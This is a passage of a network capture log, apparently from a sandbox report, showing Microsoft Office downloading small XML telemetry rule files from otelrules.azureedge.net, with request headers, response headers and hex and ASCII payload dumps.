xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:08 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191308Z-1866b5c5fbbkcpv2hC1DFWf1yc000000036g00000000g750 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:08 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:08 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 7acd991b-701e-000d-31ef-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191308Z-164f84587bft9l9khC1DFW32rc0000000370000000009mpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:08 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191308Z-16547b76f7fgfpmjhC1DFWw6ec00000002sg0000000012x8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:08 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191308Z-1866b5c5fbb7lvschC1DFW4rm00000000390000000005gtt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:08 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191308Z-16547b76f7fgvq8chC1DFWhd2w00000003qg00000000m012 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:08 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-164f84587bf6n6jwhC1DFW90fn00000002cg00000000dgkn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:08 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-16547b76f7fgvq8chC1DFWhd2w00000003sg00000000dx8s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:09 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:09 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 50ec53c4-601e-0070-35a1-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-164f84587bft9l9khC1DFW32rc000000036000000000cbyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:09 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:09 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 23d98194-001e-0082-1512-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-164f84587bfn7ppchC1DFW0meg00000002kg00000000ckw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:09 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-16547b76f7f7zzl8hC1DFWmtag000000023000000000bzdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:09 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-16547b76f7ftfv4jhC1DFWuhug00000000x00000000011zf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:09 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1d52295f-e01e-0051-7dc4-3784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-1866b5c5fbb2cz68hC1DFW9ytc000000027000000000cre9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
